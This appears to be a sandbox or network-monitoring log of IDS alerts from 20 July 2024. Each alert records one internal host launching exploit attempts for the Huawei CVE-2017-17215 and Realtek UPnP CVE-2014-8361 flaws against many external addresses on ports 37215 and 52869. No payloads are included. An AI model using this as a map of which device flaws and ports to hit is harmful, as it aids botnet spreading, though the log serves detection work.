ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 119.104.173.17

Timestamp:	07/20/24-23:01:05.911930
SID:	2835222
Source Port:	55142
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 77.111.0.243

Timestamp:	07/20/24-23:01:25.293290
SID:	2835222
Source Port:	36468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 174.173.238.249

Timestamp:	07/20/24-23:01:29.186915
SID:	2831300
Source Port:	34166
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.58.163.206

Timestamp:	07/20/24-23:01:37.121166
SID:	2835222
Source Port:	37200
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 35.167.163.145

Timestamp:	07/20/24-23:01:29.173099
SID:	2831300
Source Port:	53560
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 40.180.122.90

Timestamp:	07/20/24-23:01:13.331147
SID:	2027339
Source Port:	45700
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.112.129.130

Timestamp:	07/20/24-23:01:19.224455
SID:	2835222
Source Port:	54120
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 174.173.238.249

Timestamp:	07/20/24-23:01:25.466735
SID:	2025132
Source Port:	33592
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 133.182.11.249

Timestamp:	07/20/24-23:01:33.888160
SID:	2025132
Source Port:	58592
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.132.5.231

Timestamp:	07/20/24-23:01:28.142774
SID:	2829579
Source Port:	44806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 81.216.188.40

Timestamp:	07/20/24-23:01:11.460861
SID:	2829579
Source Port:	45366
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 164.158.91.189

Timestamp:	07/20/24-23:01:33.605284
SID:	2027339
Source Port:	50700
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.156.72.128

Timestamp:	07/20/24-23:01:05.895934
SID:	2835222
Source Port:	36412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 89.243.23.143

Timestamp:	07/20/24-23:01:29.170557
SID:	2831300
Source Port:	55564
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 108.207.129.253

Timestamp:	07/20/24-23:01:13.333101
SID:	2027339
Source Port:	52224
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.164.3.177

Timestamp:	07/20/24-23:01:14.398934
SID:	2829579
Source Port:	47220
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 194.97.213.111

Timestamp:	07/20/24-23:01:30.726948
SID:	2027339
Source Port:	49798
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.13.37.76

Timestamp:	07/20/24-23:01:28.175716
SID:	2829579
Source Port:	51636
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.148.15.6

Timestamp:	07/20/24-23:01:37.224827
SID:	2829579
Source Port:	38944
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 192.84.42.215

Timestamp:	07/20/24-23:01:34.983816
SID:	2831300
Source Port:	56052
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.139.121.233

Timestamp:	07/20/24-23:01:19.223034
SID:	2835222
Source Port:	52838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.120.0.113

Timestamp:	07/20/24-23:01:14.454899
SID:	2835222
Source Port:	49910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.83.100.55

Timestamp:	07/20/24-23:01:28.195717
SID:	2829579
Source Port:	44260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 72.146.47.133

Timestamp:	07/20/24-23:01:06.619651
SID:	2027339
Source Port:	55584
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.206.47.196

Timestamp:	07/20/24-23:01:22.762116
SID:	2829579
Source Port:	47500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 45.192.212.1

Timestamp:	07/20/24-23:01:37.166003
SID:	2835222
Source Port:	38404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 179.97.208.77

Timestamp:	07/20/24-23:01:34.901553
SID:	2027339
Source Port:	39736
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.221.41.23

Timestamp:	07/20/24-23:01:25.288605
SID:	2829579
Source Port:	42420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 50.0.188.147

Timestamp:	07/20/24-23:01:02.410541
SID:	2835222
Source Port:	45018
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 177.232.37.130

Timestamp:	07/20/24-23:01:07.426607
SID:	2025132
Source Port:	35034
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.245.238.163

Timestamp:	07/20/24-23:01:02.410932
SID:	2835222
Source Port:	52068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.101.146.147

Timestamp:	07/20/24-23:01:19.225050
SID:	2835222
Source Port:	42398
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 36.198.164.211

Timestamp:	07/20/24-23:01:13.336216
SID:	2027339
Source Port:	47404
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 100.211.0.135

Timestamp:	07/20/24-23:01:34.914910
SID:	2831300
Source Port:	51444
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 141.92.189.24

Timestamp:	07/20/24-23:01:02.409019
SID:	2835222
Source Port:	35070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.74.81.129

Timestamp:	07/20/24-23:01:37.123057
SID:	2835222
Source Port:	36600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.173.125.40

Timestamp:	07/20/24-23:01:33.068258
SID:	2829579
Source Port:	49572
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.154.151.252

Timestamp:	07/20/24-23:01:14.397565
SID:	2835222
Source Port:	47688
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.128.111.10

Timestamp:	07/20/24-23:01:28.211361
SID:	2829579
Source Port:	40848
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.113.193.91

Timestamp:	07/20/24-23:01:19.335605
SID:	2829579
Source Port:	43430
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.7.80.153

Timestamp:	07/20/24-23:01:02.414850
SID:	2829579
Source Port:	44708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.137.199.87

Timestamp:	07/20/24-23:01:14.397897
SID:	2835222
Source Port:	36034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.201.60.217

Timestamp:	07/20/24-23:01:28.196416
SID:	2835222
Source Port:	34900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.0.108.16

Timestamp:	07/20/24-23:01:14.472855
SID:	2829579
Source Port:	57834
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.5.79.69

Timestamp:	07/20/24-23:01:33.030189
SID:	2835222
Source Port:	33230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 76.153.92.60

Timestamp:	07/20/24-23:01:31.211608
SID:	2025132
Source Port:	36868
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 71.117.212.206

Timestamp:	07/20/24-23:01:37.164417
SID:	2829579
Source Port:	49980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 213.55.246.209

Timestamp:	07/20/24-23:01:28.180178
SID:	2835222
Source Port:	60750
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 91.148.85.48

Timestamp:	07/20/24-23:01:14.396807
SID:	2829579
Source Port:	39116
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 163.241.201.162

Timestamp:	07/20/24-23:01:33.579925
SID:	2027339
Source Port:	50892
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.89.33.66

Timestamp:	07/20/24-23:01:22.769838
SID:	2835222
Source Port:	42300
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.213.239.66

Timestamp:	07/20/24-23:01:25.293652
SID:	2835222
Source Port:	43452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 130.131.215.230

Timestamp:	07/20/24-23:01:33.100578
SID:	2829579
Source Port:	37652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.65.98.19

Timestamp:	07/20/24-23:01:02.408597
SID:	2835222
Source Port:	42312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.30.62.141

Timestamp:	07/20/24-23:01:02.409019
SID:	2835222
Source Port:	54852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.32.53.131

Timestamp:	07/20/24-23:01:05.895754
SID:	2829579
Source Port:	45390
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.16.157.164

Timestamp:	07/20/24-23:01:25.284909
SID:	2829579
Source Port:	57018
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.229.178.122

Timestamp:	07/20/24-23:01:33.071289
SID:	2835222
Source Port:	37406
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.66.212.124

Timestamp:	07/20/24-23:01:02.411662
SID:	2829579
Source Port:	36536
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 142.57.44.204

Timestamp:	07/20/24-23:01:19.222378
SID:	2835222
Source Port:	42722
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.214.189.107

Timestamp:	07/20/24-23:01:14.398311
SID:	2835222
Source Port:	44836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 211.192.130.220

Timestamp:	07/20/24-23:01:05.472694
SID:	2025132
Source Port:	56082
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.210.199.43

Timestamp:	07/20/24-23:01:14.397565
SID:	2835222
Source Port:	51668
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 19.5.103.108

Timestamp:	07/20/24-23:01:24.563144
SID:	2027339
Source Port:	44676
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 131.234.185.229

Timestamp:	07/20/24-23:01:34.949877
SID:	2831300
Source Port:	60486
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 133.78.34.31

Timestamp:	07/20/24-23:01:05.905239
SID:	2829579
Source Port:	34710
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.60.225.59

Timestamp:	07/20/24-23:01:22.782671
SID:	2835222
Source Port:	48568
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.42.64.187

Timestamp:	07/20/24-23:01:28.170987
SID:	2835222
Source Port:	37948
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 94.133.203.252

Timestamp:	07/20/24-23:01:29.182229
SID:	2831300
Source Port:	39560
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 198.112.106.164

Timestamp:	07/20/24-23:01:05.490874
SID:	2025132
Source Port:	36662
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.59.92.194

Timestamp:	07/20/24-23:01:02.410515
SID:	2829579
Source Port:	40600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.232.128.49

Timestamp:	07/20/24-23:01:02.410541
SID:	2829579
Source Port:	47794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 61.33.247.239

Timestamp:	07/20/24-23:01:30.736329
SID:	2025132
Source Port:	45316
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.145.96.83

Timestamp:	07/20/24-23:01:25.298710
SID:	2829579
Source Port:	37654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 116.117.218.123

Timestamp:	07/20/24-23:01:32.104403
SID:	2027339
Source Port:	51088
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 191.75.82.97

Timestamp:	07/20/24-23:01:14.398311
SID:	2835222
Source Port:	56678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.72.60.44

Timestamp:	07/20/24-23:01:14.400300
SID:	2835222
Source Port:	55054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 64.213.179.125

Timestamp:	07/20/24-23:01:13.330930
SID:	2831300
Source Port:	39168
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 163.20.58.187

Timestamp:	07/20/24-23:01:19.334827
SID:	2829579
Source Port:	43828
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.213.240.121

Timestamp:	07/20/24-23:01:37.120918
SID:	2829579
Source Port:	42896
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 220.47.15.117

Timestamp:	07/20/24-23:01:34.945580
SID:	2831300
Source Port:	35508
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 181.57.234.228

Timestamp:	07/20/24-23:01:31.081501
SID:	2027339
Source Port:	43532
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.40.93.165

Timestamp:	07/20/24-23:01:02.408597
SID:	2829579
Source Port:	60734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 207.107.95.51

Timestamp:	07/20/24-23:01:13.331537
SID:	2831300
Source Port:	48176
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.236.234.89

Timestamp:	07/20/24-23:01:37.191093
SID:	2835222
Source Port:	43604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 128.197.81.243

Timestamp:	07/20/24-23:01:05.892501
SID:	2835222
Source Port:	57212
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 174.244.149.60

Timestamp:	07/20/24-23:01:33.070886
SID:	2829579
Source Port:	38604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.244.63.43

Timestamp:	07/20/24-23:01:25.288605
SID:	2835222
Source Port:	46882
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 73.141.57.7

Timestamp:	07/20/24-23:01:24.075555
SID:	2831300
Source Port:	55060
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 191.162.138.179

Timestamp:	07/20/24-23:01:28.175716
SID:	2829579
Source Port:	51876
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 112.236.210.206

Timestamp:	07/20/24-23:01:13.330389
SID:	2027339
Source Port:	42470
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 124.232.166.233

Timestamp:	07/20/24-23:01:02.407252
SID:	2835222
Source Port:	53052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 209.211.129.206

Timestamp:	07/20/24-23:01:28.370423
SID:	2829579
Source Port:	54788
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 37.92.251.97

Timestamp:	07/20/24-23:01:06.126792
SID:	2025132
Source Port:	60050
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.92.46.63

Timestamp:	07/20/24-23:01:22.786757
SID:	2829579
Source Port:	54726
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.160.79.126

Timestamp:	07/20/24-23:01:05.892501
SID:	2829579
Source Port:	56196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 102.213.194.254

Timestamp:	07/20/24-23:01:24.075435
SID:	2027339
Source Port:	55902
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 66.134.165.127

Timestamp:	07/20/24-23:01:13.337641
SID:	2027339
Source Port:	37884
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.61.214.108

Timestamp:	07/20/24-23:01:11.461509
SID:	2835222
Source Port:	53558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.184.179.223

Timestamp:	07/20/24-23:01:14.398934
SID:	2829579
Source Port:	57044
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 165.198.120.17

Timestamp:	07/20/24-23:01:13.335234
SID:	2831300
Source Port:	49228
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.226.92.193

Timestamp:	07/20/24-23:01:02.412965
SID:	2835222
